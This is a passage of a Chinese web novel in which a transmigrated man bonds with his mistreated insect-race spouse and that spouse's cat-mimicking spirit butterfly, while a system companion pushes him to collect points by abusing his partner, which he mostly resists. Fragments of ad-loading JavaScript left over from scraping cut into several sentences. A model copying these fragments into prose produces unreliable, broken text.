一无所知的朗焰早早地洗漱完毕躺在床上,一边整理头发一边忐忑不安地等着荣魇进门。 直到003告诉他荣魇走进了主卧隔壁的房间并关上了房门,他一直悬着的心才终于……死了。 好吧,那就一个人睡吧…… 朗焰略感失望地躺到床上,用被子蒙住头。 时间很快到了深夜。 躺在主卧大床上的朗焰一点睡意都没有。 穿越这事就已经足够让人激动了,再加上这一天的奇妙经历……总而言之,他今晚肯定是睡不着了。 除此之外,朗焰觉得身下这张对于一个人而言过于庞大的双人床也在一定程度上影响了他的睡意。 床太大,房间太空旷,他总觉得身边缺了点什么。 翻来覆去了一个小时后,朗焰从床上爬了起来,拿出手环操作了几下,点开一张画布。 他用手指做笔,在画布上勾勒了起来。 003悄悄出现:【宿主大大,您在干什么呢?】 朗焰道:“睡不着,画画平息一下心情。” 003:【哇哦,看不出来宿主大大还是大画家呀。】 小光球飘到朗焰的光屏前观赏了起来。 朗焰正在画的,是一只猫。 纯白无瑕的白猫,浑身上下没有一丝杂色,唯有一双眼睛如天空般蔚蓝。 003不确定地说道:【咦,这只猫好像有点眼熟……】 朗焰很快画完了画作,他将活灵活现的小猫咪平铺到床铺的一边,自己则躺在另外一边,心满意足地闭上了双眼。 猫咪陪睡法非常有效,朗焰只躺了一会儿,睡意就宠幸了他。 失去意识之前,朗焰迷迷糊糊地想到了荣魇。 不知道荣魇今晚睡得怎么样,是早早进入了梦乡,还是和他一样躺在床上翻来覆去睡不着呢…… 事实上,荣魇根本就没有一张可以翻来覆去的床。 在这幢偌大的双层小独栋里,荣魇的房间却是主卧隔壁的杂物间,狭小的杂物间根本放不下一张单人床,要睡觉就只能躺在地上睡。 甚至因为杂物间里还堆放着一些杂物,席地而眠的荣魇就连完全躺平都做不到。 他的一双大长腿不能全部伸直,只能像虾米一样将身体蜷缩成一团,仿佛住在小盒子里的流浪猫。 荣魇情绪紧绷了一整天,睡前又花了大力气修好了厨房外的推门,筋疲力尽之下,他很快就睡着了。 只是,他这一觉睡得并不好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 白天发生的事对朗焰而言只是紧张刺激,对荣魇而言却不仅是紧张刺激得多,而且还跌宕起伏、扑朔迷离、匪夷所思。 荣魇习惯了折磨与痛苦,但是今天发生的事,都是他不习惯的。 他第一次得到了雄主的维护,甚至成为了雄主的雌君,还有那顿晚饭…… 肥美多汁、鲜香软糯的鱼片,即使睡着了都在梦里回味无穷。 美食具有治愈力。 而摇摇欲坠的灵魂有时候就差这么一点治愈,就能—— 发生意外。 一团精神力从荣魇身上抽离,化作一只白色的小蝴蝶。 小蝴蝶在空中悬停了一会儿,虚弱地扑棱了几下翅膀,落到一旁的杂物上。 它是雌虫才有的精神伴生体,除非特殊情况,否则不会自己出现。 一旦出现,就说明雌虫的精神状态非常堪忧,甚至已经到了危及生命的地步。 在强烈的求生欲下,伴生体会自己前往拥有精神治愈能力的生物周围,偷走一些精神治愈因子以安抚本体狂躁的精神力。 这种行为,在虫族的法律中,是一种犯罪。 只有雄虫才拥有精神治愈因子,而雌虫的伴生体具有极大的危险性,在任何情况下都不能私自接近雄虫。 小蝴蝶原地休息了一会儿积攒体力,随后动了动触须,朝着一墙之隔的主卧飞去。 然后,它就因为虚化的部分不够而被卡在了墙里。 小蝴蝶扑腾了半天,总算把自己从墙体里拔了出来,摇摇晃晃地朝着地面滑落。 它属于最强的伴生体种族,拥有一个非常响亮的族名,光是现身就能让异兽们跪地求饶。 可是,现在的它非常虚弱,不仅只能变出本体万分之一的大小,甚至失去了引以为傲的花翅膀,只能维持最基本的白色形态。 在接连撞了好几次墙壁后,小蝴蝶终于抵达了自己的目的地—— 朗焰的床上。 它伸出触须,想要触碰朗焰,但几次都没能成功。 来自雌虫灵魂深处的信念,让它无法做出伤害雄虫的事。 可是……它只是需要一点点对于雄虫而言并没有任何影响的治愈因子而已。 小蝴蝶可怜巴巴地收回触须,将自己并拢成一只小小的茧,软倒在床铺上。 它太虚弱了。 它只有在荣魇深度睡眠的时候才能出现一小会儿,如果在此期间无法得到治愈因子,要不了半个小时,它就要消散了。 突然,小蝴蝶发现自己身下的床单上,似乎画着什么东西。 奇怪的白色生物,浑身长满毛发,没有翅膀和触须,看上去非常弱小,没有半点战斗能力。 这是……猫科异兽吗? 异兽这样危险的生物,似乎并不应该出现在雄虫的床单上。 小蝴蝶歪着脑袋思考了片刻,随即开始发生变化。 白色的毛发从它的身躯上长出,翅膀收拢收拢再收拢,变成小小的两扇,紧紧贴在脊背上,被毛发盖过,隐藏了起来。 拟态是它们一族最著名的能力之一,越是生命垂危的时候,就越能发挥出……奇效。 9. 猫猫啊,你六条腿 朗焰虽然睡着了,但是睡得非常不踏实。 陌生的环境本就带给他一种不安,再加上卧室里隐隐弥漫着一股酒精味,更令他难以沉眠。 他翻了个身,手臂压到了一个软乎乎的东西。 那东西不像是被子或是床单的触感,而是温暖的,活动的,一上一下,像是在呼吸。 朗焰瞬间被吓醒了。 他单手撑起半个身子,睁开眼睛,努力适应了一会儿黑暗后,视线终于清晰地捕捉到了面前的生物—— 雪白的猫咪陷在床单里,蜷缩成小小的一团。 猫咪浑身上下都是雪白的,唯有一双圆滚滚的眼睛,像是天空一样湛蓝。 “我靠……” 朗焰惊呆了。 这是什么情况? 睡觉睡到一半,床上长猫了? 小猫咪似乎有些吓到了,两条后腿悄悄往后挪了挪。 静止不动的时候就已经可爱到了极致,一动起来,更是萌得人心肝颤。 朗焰一只手捂住心脏,另一只手向前伸出,从嘴里发出“嘬嘬嘬”的声音。 小猫咪犹豫了一会儿,小心翼翼地把一只毛茸茸的爪爪放到了朗焰的手心里。 朗焰:“……” 被萌到无法呼吸。 【啊啊啊怎么了宿主大大,宿主大大您的心跳怎么一百八了?】 小光球慌慌张张地出现在朗焰面前。 “你还有脸问我?你自己看看,这是……什么!” 当着小猫咪的面,朗焰的声音放轻了不少,整个人都显得非常礼貌。 003定睛一看,有些困惑:【好奇怪啊宿主大大,根据资料,虫星的猫科动物都是未经驯化的状态,没有发展出宠物猫的模式,一般都是作为猛兽被贵族豢养的,而且这只猫和您画的猫咪一模一样,肯定有哪里不对,它会不会是异兽啊?异兽可是非常危险的,宿主大大您还是离远点比较好。】 朗焰无语极了:“我呸,你才危险呢,查不出来就退下吧,这儿没你的事了,别影响我和小咪培养感情。” 003:【……宿主大大您等着,我这就查,一定给您查清楚!】 朗焰动作极其轻柔地托起小猫咪,像是托起了一片小小的云。 “宝贝儿,你是从哪儿来的?” “宝贝儿,来喵一个,喵~” 猫咪蹭蹭朗焰的手掌心,小心翼翼地张嘴,模拟朗焰的发音:“喵……” 朗焰原地倒下:“啊,我死了。” 猫咪:“喵!!!” 003:【……】 见猫咪惊慌失措地喵呜乱叫的样子,朗焰赶紧从床上扑腾了起来:“没事宝贝儿,我逗你玩呢。” 小猫咪无措地垂着一双水灵灵的大眼睛,委屈的小模样看得朗焰的心都快化成水了。 朗焰轻声轻语道:“饿吗宝贝儿,我给你去拿点吃的?” 小猫咪仿佛能听懂他说话一样摇摇头,随后软绵绵地在枕头上趴了下来。 朗焰赶紧跟着一起趴了下来。 猫咪柔软的毛发蹭在他的脸上,痒痒的。 猫咪短短的爪爪搂住他的胳膊,暖暖的。 朗焰满心都被猫猫填满了,真想立刻闭上眼睛,抱着从天而降的小猫咪一起睡觉。 不过,他的理智及时阻止了他。 这么小的猫咪和他一起睡觉实在是太危险了,万一他睡着了翻个身,把猫咪压伤了可怎么办? “宝贝儿,咱们换个地方睡行不行?你睡这儿我怕压到你。” 朗焰捏捏猫咪的小爪爪,好声好气地打着商量。 小猫咪死死抱住朗焰的手臂不撒手,微弱的力量朗焰随时都能轻易挣脱,但他的理智却根本不允许他做出反抗的动作来。 “好吧,我不困,我不睡,你睡吧,我陪着你。” 朗焰迅速决定牺牲自己的睡眠来陪伴小猫咪一整晚。 不过,小猫咪看上去也一点困意都没有。 宝石般的大眼睛扑棱扑棱地盯着朗焰看,似乎很喜欢朗焰似的。 朗焰被看得浑身酥软,不知所措。 他很小的时候养过猫,但是他家的猫主子一点都不亲人,只有需要他开罐罐的时候才象征性地营业一下下,吃饱喝足以后就又不理他了。 这是朗焰第一次见到这么软萌这么主动的猫咪,他甚至觉得就连猫咖那些受过专业训练的猫咪都不如眼前这只可爱迷人。 还是蓝眸白毛,是他的梦中情猫没错了。 朗焰不禁自言自语道:“难道我的金手指是神笔马良?画什么什么就变成真的?” 003:【宿主大大,神笔马良的技能需要五十万点虐心值就可以兑换啦。】 朗焰:【离远点,你吵到我吸猫了。】 003:【……】 小猫咪一个翻身,露出了软乎乎毛茸茸的肚皮。 这谁能忍啊! 朗焰立刻上手,对着猫咪最柔软的部位一通揉搓。 痛快地rua了一会儿后,朗焰发现了不对的地方。 “咦……你这儿怎么还有两条腿,这是什么?” 朗焰翻身起来,打开床头灯。 房间里顿时灯火通明。 小猫咪被突如其来的灯光吓到,手脚并用地往后逃跑。 朗焰一把搂住小猫咪,无情地揪到灯光下一看。 不看不知道,一看吓一跳。 猫咪除了两只前爪和两只后爪之外,肚子中间的部分,还有两条无处安放的小爪爪。 它居然有六条腿! 朗焰咋舌。 003:【啊啊啊宿主救命啊,它怎么有六条腿啊,这不是猫啊!】 朗焰:【还用得着你说,我看不出来这不是猫吗?】 小猫咪发出求饶般的“喵喵”叫,六只爪爪无助地在空中扑棱。 不得不说,即使猫猫有六条腿,可爱的程度依然一点都没有减少。 朗焰很快便心软了,他把小猫咪放回床上,用被子把小猫咪围住,居高临下地观察了起来。 猫咪的脑袋,猫咪的身体,猫咪的尾巴,除了六条腿以外,每个地方都很猫咪。 洁白的毛毛,宝石般的蓝眼睛,圆滚滚的脑袋,完全是按照他的爱好长的。 小猫咪颤颤抖抖:“喵呜~” 朗焰道:“别怕,不吃你。” 小猫咪抱头哭泣:“喵呜呜~” 晶莹的泪珠从澄澈的蓝宝石里滚滚而下,迅速濡湿了身上的白毛毛。 “哎,别哭别哭。” 朗焰手忙脚乱地给猫咪擦眼泪,擦了一会儿发现根本擦不干净,无奈之下,只能……原地投降。 “六条腿怎么了,六条腿也是猫,我就喜欢六条腿的猫!” 003:【宿主大大冷静啊!!!】 朗焰无视系统的哀嚎,吧唧一口亲在小猫咪的脑袋上: “既然你有六条腿,以后你就叫六六了!” …… 荣魇这一觉意外的睡得很好。 像是在一汪温泉里泡了一晚上,从身到心都得到了极大的放松。 源自精神的疗愈,与简单的身体休眠完全不同。 醒来时,荣魇的精神状态饱满到不行,像刚刚注射完最昂贵的顶级舒缓剂那样清醒。 轻松的精神令荣魇的心情极好,因为躺了一晚杂物间引起的腰酸背痛顿时就算不上什么了。 他步履轻松地走出杂物间,无比期待新的一天的到来。 只可惜,这样美好的状态并没有持续太久。 荣魇路过餐厅,看见了令他瞳孔放大心跳加速甚至当场窒息的一幕—— 他的精神伴生体,全虫星如雷贯耳的蓝磷白翅蝶,正以一种猫科动物的拟态挂在雄主的肩膀上,身后长长的尾巴缠绕着雄主的手臂,源源不断地吸收着雄主外溢的精神治愈因子。 而他的雄主,正满脸慈祥地用筷子夹着一根肉丝往小猫咪嘴里喂,一副完全不知道自己正在被软萌无害的小猫咪蹭走治愈因子的痴傻样。 荣魇大惊失色,惊呼出声: “雄主,危险!离它远点!” 怪不得他的精神海今天这么平静呢,原来是伴生体干的好事! 擅自接近雄虫甚至偷取雄虫的治愈因子,这可是足以让他牢底坐穿的重罪啊! “叫什么?你吓到六六了。” 朗焰把小猫咪往怀里一抱,顺着毛rua了好一会儿,才把目光投向荣魇: “怎么了,这是你认识的猫吗?” 荣魇艰难道:“雄,雄主,它不是猫,它是我的……伴生体。” 003:【啊啊啊宿主大大,原来如此,它是荣魇的精神伴生体,蓝磷白翅蝶!蓝磷白翅蝶拥有很强的拟态能力,它是看了宿主大大画的猫咪,才故意变成这样的!】 003:【这只猫真是太坏了,太坏了!宿主大大,你快借这个机会狠狠惩罚荣魇!】 朗焰若有所思地点点头,随即看向荣魇:“这是你的猫?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 荣魇急切地解释道:“它是我的精神伴生体,它,它一般不会像是这样不受控制地出现的,我也不知道怎么会这样……对不起,雄主,一切都是我的错……” 朗焰无所谓地挥挥手:“既然六六是你的猫,那你肯定知道六六喜欢吃什么吧?” 荣魇原地愣了三秒,才终于反应过来雄主在说什么。 不是责骂,也不是训斥,而是问伴生体喜欢吃什么? 这、这样问吗? 荣魇愣了好久,才在朗焰催促的目光下结结巴巴地回答道:“它,它是我的伴生体,所以它喜欢吃的应该和我一样……吧?” 不是他故意不正面回答,而是这个问题实在超出了他的知识储备。 伴生体喜欢吃什么? 首先,精神伴生体根本就不需要吃东西,它们是本体的一部分,可以从本体身上获得能量。 如果非要细究的话,伴生体什么都能吃。 3S级的精神伴生体在全盛时期就连异兽都能轻松撕碎,吃点东西根本就不在话下。 哪怕喂石头,都能轻松吃个十斤。 “怪不得呢,原来是吃熟食的,我说怎么生肉喂不进去,我还特地切成丝了呢。” 朗焰收起夹着肉丝的筷子,揉了揉六六的脑袋,语气满是宠溺: “小挑剔鬼,鱼汤喝不喝?” 六六喵喵呜呜地钻进朗焰怀里撒娇。 神奇的画面看得荣魇头皮发麻。 伴生体就是他的精神力,说是他的化身都不为过。 他实在是难以想象自己会做出这么……这么软绵绵的动作,他现在非常怀疑自己的精神狂躁症已经发展到晚期了,所以才导致他的伴生体出现了这么、这么异常的情况。 为了不错上加错,荣魇一个箭步冲上前去,试图从朗焰手中抢走自己的伴生体: “雄,雄主,您,您……它具有很强的攻击性,您不能和它接触太久,而且它会偷您的治愈……” “什么攻击性,我们六六哪有什么攻击性。” 朗焰把六六护在怀里,不让荣魇碰。 六六从朗焰臂弯里探出脑袋和荣魇对视,蓝宝石般的眸子里满是兴奋。 ——当然兴奋了,都偷了一早上的治愈因子了。 作为一只不被雄虫宠爱的雌虫的伴生体,六六这辈子都没见过这么多治愈因子。 治愈因子对于雄虫而言不算是稀罕东西,即使是体质最差的雄虫,也可以产生足以让一只S级雌虫维持精神稳定的因子。 大部分雄虫会故意抑制治愈因子的产生,以此来拿捏雌虫。 朗焰就不同了,且不说现在的他既看不见治愈因子、也不知道如何控制治愈因子的逸散,就算他既能看见也会控制,他也依然会大度地把治愈因子拿给六六,要多少给多少的那种。 见朗焰态度抵抗,荣魇不敢硬抢。 但是不抢回来肯定是不行的,精神伴生体对于雄虫而言非常危险,这样的画面要是被外虫看见了,肯定会报警抓他的! 无奈之下,荣魇深吸一口气,用尽全力调动精神力。 下一秒,朗焰手中的小猫咪逐渐变得透明,最终化作几缕精神力回归荣魇的精神海。 “哎,六六!” 朗焰伸手去抢,却只能眼睁睁看着化作精神力的六六从指缝间溜走,钻进荣魇的身体里。 荣魇垂下眸子,单膝跪地:“请雄主责罚。” 朗焰怒道:“责罚什么责罚,你把六六还给我!” 荣魇双膝落地:“请雄主责罚。” 朗焰:“你听着,我要六六陪我睡觉,我那床太大了,太空旷了,我睡不着。” 荣魇闭上双眼:“请雄主责罚。” 朗焰:“我昨晚也没睡好,正准备去睡个回笼觉呢,你把它拿走了,谁来陪我睡觉?” 荣魇:“请雄主……” 朗焰大怒:“你复读机啊,只会说这一句话?” 荣魇沉默片刻,说道:“客房的床比较小,仓库里也有抱枕。” 朗焰正色道:“我不换床,我也不要抱枕,我就要白毛蓝眼、会呼吸的东西陪我睡觉,懂?” 荣魇:“……” 朗焰:“说话啊,哑巴了?” 荣魇深吸一口气:“我……可以吗?” 朗焰没听明白:“你什么?” 荣魇伸出一根手指,指了指自己: “我也是白毛蓝眼,会呼吸,我代替六六陪您睡觉……您看,可以吗?” 10. 真的好喜欢他 在床铺的一侧摆上荣魇后,朗焰一点也不觉得房间空旷了。 有一说一,同样是白毛蓝眼的生物,荣魇确实要比六六好用多了。 六六那么小一只,和它一起睡觉还得担心翻身的时候不小心压到它,荣魇就不同了,又大又结实,随便怎么蹭都不用担心会蹭坏。 朗焰毫不客气地把脑袋枕在荣魇胸口,在柔软又不失弹性的胸肌的陪伴下闭上双眼。 他一整个晚上都没睡着,又一大早爬起来给六六做吃的,此刻正是脑袋不清楚的时候。 如果是清醒状态下,他或许会觉得自己这么自然地靠在荣魇胸口的举动有一点不对。 但是现在,一夜没睡的朗焰没有余力考虑那么多,他只觉得让荣魇来顶替六六的位置是非常合情合理的一件事—— 六六本来就是荣魇的伴生体,荣魇和六六又都是他喜欢的白毛蓝眸,互换一下也没什么不对…… 困意的侵扰以及胸肌的陪伴下,朗焰迅速进入了梦乡。 整个晚上都睡得很好、此刻精神奕奕的荣魇则僵硬地躺在床上干瞪眼。 被雄主搂着睡觉这件事,让他感受到了一种……不真实感。 他居然这么轻易地接近了雄主,还爬上了雄主的床? 虽说荣魇也知道自己只是充当抱枕陪着雄主睡觉,并非是得到了来自雄主的宠爱,但—— 朗焰进入梦乡后,治愈因子不要钱似的往外溢,像是沙漠中一汪澄澈甘甜的清泉,不断诱惑着口干舌燥的旅人。 雄虫在心情愉悦时散发的治愈因子对精神力具有极高的疗愈效果,比最好的精神药剂还要好上数倍。 这也正是那么多雌虫倾尽一切都想要拥有一位雄虫的原因之一。 能和雄虫生活在同一个屋檐下对雌虫而言就是莫大的恩赐,即使不受宠爱,即使饱受虐待,拥有雄主的雌虫在平均寿命上也远远高于单身的雌虫。 身体上的损伤有的是办法治愈,但精神狂躁近乎不治之症,唯有待在雄虫身边或是长期使用昂贵的精神药剂才能得到缓解。 看着眼前不断跳动的治愈因子,荣魇……闭上了眼睛。 雄主睡得这么熟,他偷偷拿一点治愈因子大概也不会被发现,但是他不会这么做。 即使身陷囹圄、身不由己,他的誓言与信念永不动摇。 过了一会儿,闭目养神的荣魇发现了一个问题—— 明明他没有主动接触治愈因子,朗焰的治愈因子却在自己往他的身体里钻。 荣魇只知道治愈因子会在雄虫的控制下主动远离雌虫,至于治愈因子在雄虫睡着的时候主动接近雌虫这种事……他确实是从来都没听说过。 无奈之下,荣魇睁开眼,想要看看到底是怎么回事。 这一看,他吓了一跳。 数不清的治愈因子,挤挤挨挨地充满了整个房间。 画面无比震撼,无比罕见。 荣魇不由自主地想,一只精神力和体质都只有D的雄虫,恐怕只有在心情最愉悦、最放松的时候,才能产生这么多的治愈因子吧…… 治愈因子非常脆弱,无法以任何形式保存,只要在空气中停留半秒就会灰飞烟灭。 但是他眼前的这些治愈因子,根本不像普通的治愈因子那样到处逸散,而是以一种非常异常的活动轨迹、源源不断地朝他身上涌来。 仿佛……很喜欢他似的。 荣魇被自己的想法惊到了。 他在想什么呢,雄主怎么可能喜欢他呢。 要不是雄主不幸被皇室流放荒星,根本就不会娶他这样的雌虫,更别说和他产生什么感情了。 只是…… 曾经的雄主不喜欢他,他非常确定,但现在这个……发疯了的雄主又怎么样呢? 还像曾经一样不喜欢他甚至厌恶他,还是…… 空旷的房间里一点声音都没有,于是呼吸声就显得无比清晰。 那么轻盈,那么激烈。 荣魇闭上眼睛,放空脑袋,阻止自己继续想下去。 …… 朗焰再次醒来时,时间已经到了下午。 睁开眼,正对上荣魇那幅天赐般帅气的睡颜。 他们离得极近,近到朗焰甚至可以看清荣魇脸颊上细小的绒毛。 蓝宝石般漂亮的眼睛关上了,纯白的睫毛合着,像一道雪做的帘子。 朗焰忍不住伸手,想要试试这道帘子是不是比雪更加细腻柔软。 刚碰到一下,帘子就睁开了。 “雄主,您醒了,您还睡吗?” 白雪褪去,湛蓝的冰川湖面倒映着朗焰满脸懵逼的模样。 荣魇的眼里满是清明,根本不像是刚刚醒来的样子。 事实也确实如此,他一秒钟都没有睡着,只是在闭目养神的同时顺便阻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 挡治愈因子对自己的干扰。 满屋的治愈因子在朗焰醒来后,全都消失不见了。 相信雄主一定做了个好梦。 朗焰:“……睡,就知道睡,都几点了还在睡,饭做了没有?我都快饿死了!今天可是说好你做饭的,你别想赖账!” “我,我这就去,雄主。” 荣魇慌张地爬起来,迅速下了床。 直到荣魇的身影彻底消失在房间里,朗焰才收回了僵硬的手。 他默默地把脑袋埋进被子里,发出一声沉闷且窒息的嘶吼。 003:【宿主大大您怎么了宿主大大!】 朗焰憋了好一会儿,直到实在憋不住气了才掀开被子坐了起来。 他满脸通红,气喘吁吁,满是愤怒地说道: “你们选我的时候,是不是考虑到了我的审美?你们其实知道我玩抽卡游戏氪金最多的就是白毛蓝眼的角色是吧?” 003骄傲地说道:【那当然啦宿主大大,我们的选人机制可是非常先进、非常人性化的!】 “人性化个屁!你们非给我安排这么个……还让我去虐他!这我怎么下得去手!” 朗焰把脑袋埋进臂弯里,整个人蜷缩成一团。 003:【……】 “我真的好喜欢他……的脸,要是我能在现代社会遇到他,我一定要和他拜把子,或者我加他的网络账号,默默地当他的粉丝也不是不行。” 朗焰闷闷道。 003自以为聪明地说道:【宿主大大您要是想把荣魇带回去也是可以做到的,但是需要很多很多很多虐心值,比回归现实世界还要多得多。】 朗焰翻了个白眼,一点话都不想说。 003赶紧挽回道:【宿主大大您别灰心,荣魇现在已经是您的雌君啦,他产生十点虐心值就可以给您九点,收集起来还是很快的,就在刚才,你吼了他那一下,就涨了整整七点虐心值呢,只要再涨三点,涨满十点就能结算啦!】 “真的?” 朗焰稍稍燃起了一点信心。 003:【当然是真的啦!】 小光团原地蹦蹦跳跳,对朗焰充满了信心。 朗焰若有所思道:“没想到虐心值还挺好收集的。” 003:【是宿主大大您有天赋啦!】 朗焰点点头:“我懂了,一会儿吃饭的时候看我表现吧。” 11. 虐心值涨了 荣魇忙忙碌碌地摆放碗筷的时间里,坐在餐桌前的朗焰正在做最后的心理准备。 朗焰:【一会儿不管他做的饭有多好吃,我都要使劲找茬,咸的菜就说不够甜,甜的菜就说不够咸,明白了吗?如果我中途心软了,你一定要及时提醒我。】 003:【收到,宿主大大,保证完成任务!】 荣魇把几道菜端上桌,随后局促地站在一边。 朗焰等了一会儿没等到荣魇落座,困惑地回头问道:“你站着干什么?” 荣魇紧张地说道:“您……您先尝尝,要是不行,我立刻重新做。” 朗焰无语极了:“你怎么搞得好像我在欺负你一样,真是的,我又不是旧社会的奴隶主……你怎么还愣着?还不赶紧坐下!” 荣魇缩缩脖子,听话地在餐桌前坐下。 不过他一点都不敢动筷子,只敢偷偷地拿余光打量朗焰的动作。 003:【宿主大大,涨了涨了,虐心值涨了一点,还差两点就能结算啦!】 朗焰满意地点了点头,拿起筷子,伸向盘子里热气腾腾的菜肴。 伸到一半,他的筷子停住了。 朗焰眯起眼睛,用筷子敲了敲放着一团团白色黏糊液体、并且还能从缝隙中看见眼珠子的盘子,问道:“这是什么菜?” 荣魇连忙道:“酸奶拌鱼头,是皇室半年前公开的一道名菜。” 朗焰转动手腕,从另外一个盘子里夹起一团黄绿交加的不明物体:“这又是什么玩意儿?” “甜瓜炖肉,是我在军团里学会的一道菜。” “……” 剩下的两道菜朗焰都懒得问了。 看上去都是差不多的东西,红黄蓝绿,稀奇古怪得不行。 色香味俱全,色排第一位不是没道理的。 长成这样,谁吃得下去啊? 但是,朗焰思索了一会儿,还是将不明物体送入了口中。 毕竟他也不是来吃饭的,而是来收集虐心值的。 总得先尝一尝,才有理由找茬。 而且都说实践出真知,万一这些菜是虫族的特色,只是外表看着古怪,其实味道并不难吃呢? 下一秒,朗焰的脸色黑了。 舌尖上炸开的古怪味道直冲大脑,有那么一瞬间,他甚至觉得自己看见了已故多年的太奶。 偏偏荣魇还非常没有眼色地在一旁问道:“味道可以吗,雄主?” 朗焰好不容易才从濒死般的味觉体验中缓了过来,他把筷子丢到桌上,又是愤怒又是困惑地说道: “不是,这玩意儿你自己觉得好吃吗?” 荣魇愧疚道:“对不起雄主,我这就重做……” 朗焰都无语了:“你重做什么啊,你压根不会做饭,你这水平重做几次都是白搭!” 荣魇低下头,全身紧绷,死死抿着唇。 他之前一直都以为自己的厨艺挺不错的,直到他昨天吃了雄主做的鱼片,他才知道什么叫真正的美味。 谁能想到,他的雄主居然有着虫星顶级大厨才有的厨艺呢? 即使他今天已经拼尽了全力,但也只能做成这样……丝毫无法让雄主满意的程度。 别说他了,全虫星恐怕都找不出几个能让雄主满意的厨师吧。 雄主这么厉害,而他这么无能,被雄主厌弃也是正常的…… 003兴奋地转圈圈:【涨了涨了,虐心值涨了,还差一点就能结算啦!】 “你要是不会做饭,你就早点说,白白浪费这么多食物干什么!” 朗焰这回是真的有点生气,即使不为了攒虐心值,他也准备好好说荣魇一顿。 他们家往上数三代是农民,对粮食不是一般的看重。 可是,当他看见荣魇低着头不敢说话的模样,他又说不下去了。 荣魇垂头丧气的模样,一点都不好看。 天空般湛蓝的眸子迎来连绵不绝的阴雨,连带阳光下银光闪闪的雪发也被乌云覆盖。 朗焰不喜欢这样的荣魇,非常不喜欢。 他见过那双眼睛动人心魄的模样,所以更加无法忍受美玉蒙尘的模样。 他甚至会想,像荣魇这样美丽的生物,谁有资格让他难过。 世界上居然存在能让荣魇难过的东西,这合理吗? 识别到朗焰心理活动的003差点没原地裂开:【宿主大大您在说什么啊,就差一点虐心值就能结算了啊!您千万不能心软啊!】 朗焰对003的嘶吼充耳不闻,他的眼里只有落寞的荣魇。 他放缓了语气,摆摆手道: “算了算了,这件事我也有不对,以后做饭没你的事了,我来负责做饭。” 荣魇抬起头来,却只来得及捕捉到朗焰进入厨房的背影。 他发出一声极轻的叹息,像是在感慨自己那总是无能为力的一生。 下一秒,朗焰从厨房探出头来,中气十足道:“以后你负责洗碗,还有拖地也是你的活了,要是敢偷懒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我就天天做你不爱吃的菜!” “……好的,雄主。” 荣魇松了一口气。 他确实很迟钝,也很无能。 但此刻的这个瞬间,即使是如此迟钝、如此无能的他,也能从雄主那双神采奕奕又满是笑意的眼里看出来——雄主并没有生气。 或者说,雄主原谅了他。 他还记得雄主昨天说过的话。 雄主说,他会原谅他,以后也会一直原谅他,所以他再也不用在雄主面前跪下,永远都不用跪下。 他本来没有把这些话当真,但现在……他有些不确定了。 荣魇举起左手,握成拳头,抵在自己心脏的位置上,试图平息心中那一波强过一波的……浪潮。 …… 厨房里,朗焰动作熟练地把锅驾到火上。 热锅的时间里,朗焰想到了昨天协会上门的事,从鼻腔里发出一声不屑的嗤笑。 什么傻子协会,做个饭都能给他识别成危险行为。 看来不管到什么地方,都会有这种啥也不干吃空饷的野鸡机构存在,就算是异世界也一样。 厨房里摆着一份全都处理好的原材料。 这是荣魇早就猜到了会有重做的一茬,所以提前准备的一份没有下锅的食材。 朗焰毫不客气地拿来用了。 鱼头拿来炖汤,炖成酥烂的乳白色后加入豆腐和白菜当做配菜。 肉块切成薄片,煎熟后加入青红椒做回锅肉。 甜瓜打碎和酸奶混合在一起,包进蒸熟的糯米里,做成类似青团的餐后甜品。 食材都是好食材,只不过经过了错误的料理,才成了那样恶毒的味道。 同样的东西在朗焰手中,就能散发出极具诱惑的食物香气,悠悠然地飘出厨房,勾得坐在餐桌上的荣魇满心期待。 003哀怨地出现了:【宿主大大。】 朗焰一边放蒸笼一边一心二用地回道:【你来啦,对了,虐心值怎么样了,我刚才发了一大通火,应该涨了不少吧?要不是为了虐心值,我才不会对他发火呢。】 003:【有一个好消息和一个坏消息,宿主大大您要听哪个?】 朗焰:【先说好消息吧。】 003:【刚刚虐心值涨到10了。】 朗焰:【可以啊,这不就结算了吗,坏消息呢?】 003:【还没来得及结算,就又跌回去了,现在只剩5了。】 朗焰:【……】 12. 你保护我 朗焰不解道:【不是,你也太废物了吧,就不能结算得快点吗?】 003:【您还好意思说我!您要不要看看自己都做了什么?】 朗焰:【我怎么了,我的表现还不够好吗?】 003急得团团转:【您刚才再多骂他一句,虐心值不就涨上去了吗!】 朗焰大怒:【我呸,你懂什么,我再多骂一句,他就和我离婚了!怪不得你们带了那么多任宿主都失败了呢,就你们这急功近利的心态,不失败才怪呢!】 见朗焰如此自信,003顿时陷入了自我怀疑:【是、是这样吗?】 朗焰:【当然啊,我就问你虐心值涨了没有?】 003:【涨了,算上跌的,总共涨了5点虐心值。】 朗焰:【那不就行了,这足以说明我的方式是完全正常的,足足五点虐心值呢,我开局也才五点,这才一天就有五点了,你还不知足?】 003:【……您说的好有道理哦,宿主大大。】 小光球的光芒黯淡了许多,显然是意识到了自己的错误。 见成功说服了003,朗焰心中顿时充满了自信。 充满自信的朗焰哼着歌干起了他最擅长的事——颠锅。 秘制香辛料的调味下,肥瘦均匀的肉片香气四溢,沙沙的翻炒声极其富有节奏感。 身后的推门被挪开了一点点,荣魇的脑袋小心翼翼地探入厨房中。 观赏了一会儿朗焰极具力量感的炒菜姿势后,荣魇又小心翼翼地退出了厨房。 但是他没有走远,而是等在门口,确保出现意外时自己能第一时间采取行动。 ……雄主这幅英勇无畏地直面火舌的模样,不管看几次都觉得惊悚。 雄虫协会虽然嘴上答应了给雄主取消报警机制,但实际上没有这么做的权力,他们最多能做的,也就是安排专虫对接雄主,手动取消因为雄主做饭引起的安全系统警报。 真不知道协会每天看着雄主做饭的画面,是怎样的心情…… 很快,一餐丰盛又美味的晚饭做好了。 要问为什么是晚饭,因为朗焰一觉直接睡到了下午,把荣魇赶去做饭的时候就已经过了午餐的点,最后又不幸地被荣魇坑爹的厨艺耽搁了太多时间。 这一来一回的,就拖得晚了。 现在这顿饭,不管怎么算,都只能算作晚饭。 